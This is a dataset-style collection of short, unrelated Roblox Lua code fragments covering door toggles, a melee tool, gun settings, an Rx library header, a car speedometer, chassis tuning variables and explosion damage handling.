|
print(lowered)
return
end
function doEvent()
if lowered == true then
return --negative event
else return --positive event
end
end
function onClicked()
print("clicked")
if debounce == false then
debounce = true
delay(5, function() debounce = false end)
if lowered == false then
lower()
else if lowered == true then raise() end
end
else return
end
end
script.Parent.Bar.ClickDetector.MouseClick:connect(onClicked)
lower()
|
-- force.Parent = nil
|
SlashSound:stop()
end
function onActivated()
if not Tool.melee.Value then return end
meleeconnect = Tool.Handle.Touched:connect(blow)
lunge()
meleeconnect:disconnect()
wait(.2)
Tool.melee.Value=false
end
function TeamColorFix()
if game.Players:playerFromCharacter(Tool.Parent)~=nil then
local jill=game.Players:playerFromCharacter(Tool.Parent)
if jill.Neutral==false then
cc=jill.TeamColor
else
print("neutral")
colors = {45, 119, 21, 24, 23, 105, 104}
cc=BrickColor.new(colors[math.random(1, 7)])
end
else
print("no player")
colors = {45, 119, 21, 24, 23, 105, 104}
cc=BrickColor.new(colors[math.random(1, 7)])
end
end
Tool.Equipped:connect(TeamColorFix)
Tool.melee.Changed:connect(onActivated)
|
-------------------------------------Gun info
|
ToolName="Shotgun"
ClipSize=6
ReloadTime=3
Firerate=.40
MinSpread=0
MaxSpread=0
SpreadRate=0
BaseDamage=100
automatic=false
burst=false
shot=true --Shotgun
BarrlePos=Vector3.new(-2.20,.60,0)
Cursors={"rbxasset://textures\\GunCursor.png"}
ReloadCursor="rbxasset://textures\\GunWaitCursor.png"
|
--[=[
Observable rx library for Roblox by Quenty. This provides a variety of
composition classes to be used, and is the primary entry point for an
observable.
Most of these functions return either a function that takes in an
observable (curried for piping) or an [Observable](/api/Observable)
directly.
@class Rx
]=]
|
local require = require(script.Parent.loader).load(script)
local Maid = require("Maid")
local Observable = require("Observable")
local Promise = require("Promise")
local Symbol = require("Symbol")
local Table = require("Table")
local ThrottledFunction = require("ThrottledFunction")
local cancellableDelay = require("cancellableDelay")
local CancelToken = require("CancelToken")
local UNSET_VALUE = Symbol.named("unsetValue")
|
--Version 1.43 --
|
local carSeat=script.Parent.Parent.Parent.Parent
local numbers={180354176,180354121,180354128,180354131,180354134,180354138,180354146,180354158,180354160,180354168,180355596,180354115}
while true do
wait(0.01)
local value = math.floor((10/12) * (60/88) * carSeat.Velocity.magnitude) -- SPS Magnitude to MPH
--local value=(carSeat.Velocity.magnitude)/1 --This is the velocity so if it was 1.6 it should work. If not PM me! or comment!--
if value<10000 then
local nnnn=math.floor(value/1000)
local nnn=(math.floor(value/100))-(nnnn*10)
local nn=(math.floor(value/10)-(nnn*10))-(nnnn*100)
local n=(math.floor(value)-(nn*10)-(nnn*100))-(nnnn*1000)
script.Parent.A.Image="http://www.roblox.com/asset/?id="..numbers[n+1]
if value>=10 then
script.Parent.B.Image="http://www.roblox.com/asset/?id="..numbers[nn+1]
else
script.Parent.B.Image="http://www.roblox.com/asset/?id="..numbers[12]
end
if value>=100 then
script.Parent.C.Image="http://www.roblox.com/asset/?id="..numbers[nnn+1]
else
script.Parent.C.Image="http://www.roblox.com/asset/?id="..numbers[12]
end
else
script.Parent.A.Image="http://www.roblox.com/asset/?id="..numbers[10]
script.Parent.B.Image="http://www.roblox.com/asset/?id="..numbers[10]
script.Parent.C.Image="http://www.roblox.com/asset/?id="..numbers[10]
end
end
|
-- Limits the amount you can steer based on velocity. Helpful for keyboard/non-analog steer inputs
|
local SteerLimit = 0.2 -- Max amount the steering float (-1 to 1) will be limited by if limitSteerAtHighVel is true
local DoGravityAdjust = true -- Adjust chassis values based on the current gravity setting.
local ActualDrivingTorque
local ActualBrakingTorque
local ActualStrutSpringStiffnessFront
local ActualStrutSpringDampingFront
local ActualStrutSpringStiffnessRear
local ActualStrutSpringDampingRear
local ActualTorsionSpringStiffness
local ActualTorsionSpringDamping
|
--If you see this model posted by someone else, They didnt make that--
--I made it (Dr_Kylak)--
--And theres a reason why im inserting this in, Its because i realeased other R15 models--
--But theres a problem, People are taking the model and uploading it themselves to think that they made it--
--You may know me as the person who created that model Scared guy the r15 one--
--But yeah Please do not Copy this and enjoy the model. You can use it for whatever you want!--
| |
--[[Status Vars]]
|
local _IsOn = _Tune.AutoStart
if _Tune.AutoStart then script.Parent.IsOn.Value=true end
local _GSteerT=0
local _GSteerC=0
local _GThrot=0
local _GThrotShift=1
local _GBrake=0
local _ClutchOn = true
local _ClPressing = false
local _RPM = 0
local _HP = 0
local _OutTorque = 0
local _CGear = 0
local _PGear = _CGear
local _spLimit = 0
local _Boost = 0
local _TCount = 0
local _TPsi = 0
local _BH = 0
local _BT = 0
local _NH = 0
local _NT = 0
local _TMode = _Tune.TransModes[1]
local _MSteer = false
local _SteerL = false
local _SteerR = false
local _PBrake = false
local _TCS = _Tune.TCSEnabled
local _TCSActive = false
local _TCSAmt = 0
local _ABS = _Tune.ABSEnabled
local _ABSActive = false
local FlipWait=tick()
local FlipDB=false
local _InControls = false
|
--[[
If the list contains the sought-after element, return its index, or nil otherwise.
]]
|
function Functional.Find(list, value)
for index, element in ipairs(list) do
if element == value then
return index
end
end
return nil
end
return Functional
|
-- if GetHitPlayers() >= 3 then
-- AwardBadge:Invoke(FiredPlayer,"Explosive Results")
-- end
|
local FiredPlayer = GetReflectedByPlayer() or FiredPlayer
local DoDamage = PlayerDamager:CanDamageHumanoid(FiredPlayer,HitHumanoid)
if DoDamage then
local Distance
local HumanoidRootPrart = HitCharacter:FindFirstChild("HumanoidRootPart")
if HumanoidRootPrart then
Distance = (HumanoidRootPrart.Position - Position ).magnitude
else
Distance = RadiusFromBlast
end
RadiusFromBlast = math.min(math.max(RadiusFromBlast - 0.8,0),1)
PlayerDamager:DamageHumanoid(FiredPlayer,HitHumanoid,MAX_DAMAGE - ((Distance/BLAST_RADIUS) * (MAX_DAMAGE - MIN_DAMAGE)),GetDamageName())
end
end
end
--Break joints if it isn't a character.
if BreakJoints then
ExplosionTouchPart:BreakJoints()
end
--If the part is able to fade with explosions, signal it to fade.
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.